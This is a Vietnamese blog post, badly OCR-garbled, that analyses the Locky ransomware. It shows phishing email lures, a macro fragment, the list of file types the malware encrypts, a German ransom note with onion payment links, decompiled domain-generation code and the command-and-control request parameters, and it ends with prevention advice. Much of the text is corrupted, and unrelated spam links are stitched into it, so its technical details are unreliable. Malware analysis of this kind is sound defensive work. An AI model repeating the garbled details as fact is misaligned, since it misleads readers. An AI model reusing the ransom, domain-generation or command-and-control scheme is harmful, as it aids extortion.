Vao thang 2/2016, mang Internet da bi ring déng vi mét loai ma doc tong tién
(ransomware) mé&i c6 tén la Locky. Theo bao cao cho thdy ma doc téng tién Locky da lay
lan ngwei dung hon 114 quéc gia trén thé gi@i. Phan tich mau ma ddéc cho thay day la

mot loai Trojan hoan toan méi. Vay Locky la gi va lam sao c6 thé chéng lai ma doc nay?

Hay cung t

im hiéu.

Ban dang xem: Locky la loai ma déc gi
Cach thirc phat tanbé phat tan moét loai Trojan, tin téc thuwéng gtvi spam lwong I6n email cling
v&i cac tép tin dinh kém doc hai. Tép tin dinh kem & day la mét tép tin van ban .DOC chira

macro doc hai tai Locky Trojan tlr may chi vé may tinh nan nhan va thuc thi né.
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From: Elbert Massey [MasseyEbert437 16@hsi 14.unitymediagroup. de]
Taon
Co
Subject: Imvoice 2016-T4583971
-] Message -_"i'l SCAN_INVOICE_2016_74583971.doc
Hi

Here's invoice 2816-74583971 for 157,38 USD for last weeks delivery.
The amount outstanding of 498,34 USD is due on 23 Feb 2816.

If you have any questions, please let us know.

Thanks,

Elbert Massey
First Data Corporation www.firstdata.com
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Sent:

Wed 2/17/2016 10:58 AM
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RwhnjLBArKCUeeNpZ, 1dESNmXr,

ring
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AHEWLGhFei As Integer
1 As Long

lufAgzIDX1eFjJAn0 As Byte, Cj gsFAChriilHD As S5tring, qsFinIGI

sdsccvbbdsasd = Shell( xphgva,

Visual Basic file length : 2276 lines : 69 ln:1 Col:1 Se:0]0 Dos\Windows ~ UTF-8w/oBOM NS
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From: Tracey Hoover [HooverTracey 74635@pawluk. org] sent: Wed 3/16/2016 Z:46 AM
To: info
Cc
Subject: FW: Payment ACCEPTED M-267689

=] Message | E] payment_document_267689.zip

Dear info,

Thank you.

Tracey Hoover
Financial CEO

Please check the payment confirmation attached to this email.
The Transaction should appear on your bank in 2 days.
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From: david. favellad6 @buhlergroup. com sent: Wed 3/16/2016 12:25 PM
To:
Cc
Subject: [SPAM] Bestellung 30155

m| |E| Bestellung Bestellung 30155.zip.zip

k1

Sehr geehrte Damen und Herren,

anbei erhalten 3ie unsere Bestellung. Diese ist maschinell erstellt und ist daher ohne
Unterschrift gltig.

Dear ladies and gentlemen,

enclosed you receive our order. This order has been created automatically and is
valid without signature.

Mit freundlichen Griken / Best regards
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Mame | Size | Packed Size | Maodified |
@smnned_duc_ﬂlﬂ?e.js 6 347 2601 2015-03-15 21:14
[2]details_b31df.js & 494 2654 2016-03-15 21:14
Eiafbdyix : 50 58 2016-03-1521:14
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0 object(s) selected |
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avaScript fie length : 6494  lines : 204 ln:1 Col:1 Se:0]0 Dos\Windows ~ UTF-8w/oBOM NS
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B 1-50

Ltext: DOMASFSE
Ltext : BB4NESFSE
LEext B4 ASFSE
Ltext: DAMBSFSE
Lext: BaaEsFLSE
Lbext BN ESFSE
Ltext: DAMASFSE
Lext: BauEsFLSE
LEext ; BONESFSE
Jtext: DAMASFSLE
text: BONESFSE
LEext  BENESF A1
Lrext : BANASF&2
text:BONBSF A6l
LJEext  BONESFOT
Jtext : BANASFAD
Ltext: BONBASFAF
LJEext  BONESFT2
Lbext : BANESFTE
Ltext: BONBSFTE
JEext  BONESFTE
Lbext : BANESFTO
Stext:BONBSFTF
LRt BRAASF G
Lbext B4 ESFRD
Stext:B4ASFER
LRt BRAASFED
Lbext : BOyESFAF
Stext:Ba4MBSF98
SRt DOYASF S
LEext DOy ESFRG
Stext:Ba4ASFOR
SRt DAY ASF D
LEext DOy ESFOF
Sbext:BaLESFA
LRt DONASFAS
LJtext i BNESFAT
Lbext : BesESFAY
Stext:BONBSFAD
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; std:zzbasic_string #__usercall GetLanguage@<eax>(std::basic_string =langHame@<{esi>}
; CODE XREF: ReportInstall+3u8Tp
; WinHain(x,x,%,%)+S1ETp

proc near

= byte ptr -25h
= hyte ptr -Z4h
= duord ptr -4

push ehp
nou ebp, esp
sub esp, 2hh
push ehx
" xor b, ehx b
nouv [ebpruar_h], ebx
call ds:GetlserbefaultllLanguage
push 26 3 eehbata
lea ecx, [ebp+LCData]
push LK i lpLCbata
nayEs rax, A%
push LOCALE_SISD&I9LANGHAME ; LCType
push eax i Locale
all ds:hetlocalelnfFoR
mW
noy [esi+1Bh], ebx
nay [esi], bl
g eas, ebx
ig short loc_4@5FDE
push edi
noy edi, offset unk_u412BF%
push edi
noy eax, esi
call std__basic_string___ Inside_i
test al,; al
jz short loc_b@SFBE
cap duard pte [esis+14h], 180
jb short loc_4@5FAB
noy eax, [esi
jmp shart loc_4@5Fab

B 201 - 300 | I 301 -500
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AT _Locky_recover_instructions.bmp _Locky_recover
_instructions .txt tmp winnt Application Data AppData Program Files {(x86) Progr
am Files temp thumbhs.dbh $Recycle.Bin System Uolume Information Boot Windows
mdn miu mid wma flv 3g2 _mkve _3gp .mpd _.mov _avi _.asf
voh .mpy .wmv _fla .swf .wav .mpd .gcowZ2 .udi Jvndk .vmx .gpg
.ARC _PAQ _tar.bz2 _thk _bak .tar .tgz .gz .P=2 .rar .zip .djv
suyg .bmp _.png .gif .raw .cgm .Jjpeg .Jjpy .tif _tiff .NEF .psd .cmd
at .sh .class _jar .java .rb .asp .cs .brd .sch .dch .dip .pl .ubs
.j= -h .asm .pazs .cpp .¢c .php .1df .mdf .ihd .HYI _HYD _frm .odb
.dbf .db .mdb _.=qgl _SQLITEDE ._SQLITE3 .011 .10 .00% .0OO08 007 006
nns .0m4 003 .02 2 .001 @ .pst .onetoc2 .asc .lawvh .lay .m=sll (Security
copy? .msll .=ldm .sldx .ppsm .ppsx .ppam .doch .mml .sxm _otg .odg _.wop
potx .potm .pptx .pptm .std .sxd .pot .pps .sti .sxi .otp .odp .whZ
23 wks wkl _xltx .xltm .xlsx .xlsm .xlsh .slk .xlw _x1lt _xlm _xlc
f .ztc .sxc .otz .ods _hwup 602 _dotm .dotx .docm .docx .DOT .3dm
.3ds .xml _txt _CEU  _wot _RIF _.pdf _ELE _PPT .stw _sxw _ott
JDOC  pem .wl2 _csr  .crt  kew wallet.dat
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¥ PATA?ATA 7A@ TP R ?A TATA ¥ PATA?ATA 7A@ T R ?A
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GoeaABeA file_data struc ; (sizeof=8x344, mappedto_99)
Bapeeane start_marker dd ?

peeeeesy id db 16 dup(?)

BoppaeTL aes_Key dbh 256 dup(?)

GRS

BA0OA11L name_marker dd ?

GRS

668686118 orig_name db 528 dup(?)}

pppee3Ze attr WIN32_FILE_ATTRIBUTE_DATA ?
appAA3zZa

00806344 file_data ends
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I'1l WICHTIGE INFORMATIOMEN [Il1l =]

Alle Dateien wurden mit RSA-2048 und AES-128 Ziffern verschlisselt.
Mehr Informationen dber RSA konnen Sie hier finden:

http: //de.wikipedia.org/wiki /RSA-Kryptosystem

http: //de.wikipedia.org/wiki/Advanced_Encryption_Sstandard

Die Entschlusselung Threr Dateien ist nur mit einem privaten Schlisseul und einem Entschlusselungsprogramm,
welches sich auf unserem Server befindet, moglich.
Ui Ihiren privaten Schlussel zu erhalten, folaen Sie einem der Folgenden Links:

1. htep://6drxggamdcrvbrrd. Lur?htb org,

2. http://6dtxggamdcrvbrré.onion. to/

3. http://6dtxggamdcrvbrré.onion. cab/

4. http: //6dtxggamdcrvbrro.onion. Tink,/

sollte keine der Adressen verfigbar sein, folgen 5ie den folgenden Schritten:
. Laden Sie einen Tor Browser herunter und instal lieren diesen: https://www. torproject. org/download/dov
2. Starten 5ie den Browser nach der erfeolgreichen Installation und warten auf die Initialisierung.
3. Tippen 5ie in die Adresszeile: Gdtxggamdcrvbred.onion/
4., Folgen Sie den Arweisungen auf der Seite.

11! Thre personliche Identifizierungs-ID lautet: g

4| L P
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</p><form action="/" method="get">
<font id="brown">Languages</font>:

<select name="lang" onchange="this.form.submit()">
<option value="bg">bunrapcku</option>
<option value="ca"»Catala</option>
<option value="cs">Ce3tina</option>
<option value="da">Dansk</option>
<option value="de">Deutsch</option>
<option value="el">EAAnvikda</option>
<option value="en" selected="selected">English</option>
<option value="es">Espanol</option>
<option value="fi">Suomi</option>
<option value="fr">Francais</option>
<option value="hi">R&+</option>
<option value="hr">Hrvatski</option>
<option value="hu">Magyar</option>
<option value="it">Italiano</option>
<option value="ja™:
<option value="ko">&l=0{</option>
<option value="ms">Bahasa Melayu</option>
<option value="nl">Nederlands</option:
<option value="no">Norsk bokmal</foption>
<option value="pl">Polski</option>
<option value="pt">Portugués</option>
<option value="sk">Slovencina</option>

"»Cpnckm< foption>
<option value="sv">Svenska</option>
<option value="tr">Tirkce</option>
<option value="zh":

</select>

<option value="sr




GetSystemTime(&SystenTime); it A
__RORL4__ (BxB11924E1 *[(‘r;_u*.l:*n]i||u--l.l'r'ear + Bx1BFS), 5);:

n
n2
na
n
nS
ni
n#

__ROLY_ (seed % 6

nt o+ Bx27100001;
(n5 + Bx271068001)

__RODR4__ (BxB11924E1 =
__ROR4__ (BxB11924E1 =((n2 + Systentine .wHonth + Bx2709A354), 5);

{n1 + {({unsigned int)SystemTime.wDay >> 1

:J* Bx27108881), 5)

s 21);

__ROR4__ {BxB11924%E1 = (n3 + n4 + BxZ27108881), 5);

% 11u + 5;

std::basic_string::f_17((n5 + 0x27100081) % 11u + 8, &=tr);

w22 = B3
ifF { n7 )
1

do

1
ng = _ ROL4__ (né,

1)

viB = (std::basic_string =)str._Bx._Ptr;
ne = _ ROR4__(OxB11924E1 * n8, 5);
nig = n% + Bx27100001;

ng = n18;

if ( str._Myres < 16 )

vid = &str;
ui ﬁ—}_BK-_BuF[i ++]
i
while { i € n?¥ };
H

=n1@ % 25 + "a';

v13 = (std::basic_string *)str._Bx._ Ptr;
if ( str._Myres ¢ 8x18 )

u1d = Bstr:
vi3->_Bx. Buf[i] = "."

vih = (std::basic_string *)str._Bx._Ptr;

ni1
ni2

__ROR4__(OxB11924E1 = né, 5);
(n11 + Bx271080881) % 1hu;

if ( str._Myres < Bx10 )

ully = Bstr;
vih=3_Bx. Buf[i + 1] =

aRupweuinytpmusfrdeit[2 = ni12];

vi17 = (std::basic_string #)str._Bx._Ptr;
if ( str._Myres ¢ Bx18 )

w17 = Estr;
ul7=>_Bx._Buf[i + 2] =

aRupweuinytpmusfrdeit[2 = ni12 + 1];



Getsy
n1
n2
nd

stemTime(&SystemTime);

__ROR4__ (0xB11924%E1 » ((Systenline .w¥Year + Bx1BFS), 5);

__ROR4__ (BxB1192%E1 = |({n1 + {{(unsigned int)SystemTime.wbay >> 1)|+ Bx271608881), 5)
__RORL__ (BxBI1924E1 =|{n? + Systenline.wHonth + Bx2709A354), 5);

ny
ns
nt

ni
std::
w22 =
ifF
{
do
1
n
L
n
n
n
i

U
K
whi
H
vig =
if |
g1
vi3->
vik
ni1
ni12
if (
Uik
vih=>
T 1 ..-' -
ifF
w7
uvi17->

ROLY__ (seed % 6, 21);

ROR4__ (BxB11924E1 = (n3 + n4 + Bx271886861), 5);

nt + Bx27100001;

{nS + Bx27108001) % 11u + 5;

basic_string::f_17((n5 + 0x27100001) % 11u + 8, &ir);
6;

né )

8 =__ROL4Y_(nb, i);
18 = (std::basic_string =)str._Bx._Ptr;
9 = _ _ROR4__(O=B11924E1 * n8, 5);

10 = n9% + Bx27100001;
6 = n18;
f ( str._Myres < 16 )
vid = &str;
18->_Bx._Buf[i++] = n10 % 25 + "a";
le { i € n¥ };
{std::basic_string =)str._Bx._Ptr;
str._Myres < 8x18 )
= Bstr;
_Bx._Buf[i] = ".';
{std::basic_string #)str._Bx._Ptr;

__ROR4__(OxB11924E1 = né, 5);
{(n11 + Bx27100001) % 1bu;
str._Myres < 0x10 )

= &str;

_Bx._Buf[i + 1] = aRupweuinytpmusfrdeit[2 = n12];
{std::basic_string #)str. Bx._ Ptr;

str._Myres ¢ Bx18 )
= &str;

_Bx._ Buf[i + 2] = aRupweuinytpmusfrdeit[2 = ni12 + 1];

Doan ma gia thuét toan tao tén mién C&C Locky

Két noi

dén mot C&C dwoc thuc hién théng qua giao thirc HTTP. Ma dodc Locky gtvi mot yéu

cau POST request dén dia chi véi dinh dang http: //main.php; di¥ liéu truyén tai sé dwoc ma
hoa véi mot thuat toan déi xtrng don gian.
Xem thém: Jump N Jump — Nhay Jump, San choi trong nha cho tré em

Cacda

ng théng s6 duoc glri di bao gdm:

Théng bao vé lay nhiém thanh cdng va yéu cau khoaid=& act = getkey& affid =
&lang=&corp=&serv=_&0s=&sp=&x64=Gri danh sach cac dwdng dan bi ma hoaid=& act = bao
cao&data=V&i mbi 6 dia da dwoc xt ly, Locky sé& glri dén may chi diéu khién mét danh sach
tat cd dwong dan cla tat ca cac tép tin.Gri thdng ké mébi 6 dia clrng dwoc xi lyid=& act = sé
lidu thong ké&path=8&encrypted=_&failed=&length=Tin tdc thu thap s6 liéu théng ké rét chi tiét

vé moi

thiét bi lay nhiém. Cac ho ma doc téng tién khac thwerng khéng lam viéc nay.

Xem thém: La Trinh N&r Hoang Cung Tri Bénh Gi, 7 C4;Ch Tra»?? Ba»??Nh



Cac bién phap ngan chan

Locky la mét loai ma doc téng tién dién hinh. Tuy nhién né lai khién cac nha nghién ctru bao
mat chu y b&i sw linh hoat va phat tan rong rai. D& bao vé ban than khai loai ma doc téng tién
Locky, thwc hién cac bién phap sau:Khéng mé cac tép tin dinh kem trong email dwoc givi te
ngudn khoéng rd rang.Sao lwu di¥ liéu dinh ki va lwu trir ban sao sao lwu trén mét thiét b lwu triv
tach khac roi hodc lwu tri trén cloud. Thuwdng xuyén cap nhat phan mém diét virus, hé diéu
hanh va cac phan mém cai dat trén may tinh.Tao mét thw muc mang riéng biét véi méi nguoi
dung khi quan ly truy cap dén thw muc mang dwoc chia sé..THN

Chuyén muc: Cong Nghé 4.0

The post Phan Tich Ma Déc Téng Tién Locky La Loai M3 Ddc Gi 2 Nguyén Nhan, Cach Khac
Phuc Locky first appeared on CALLOFDUTYMOBILEPC.COM.
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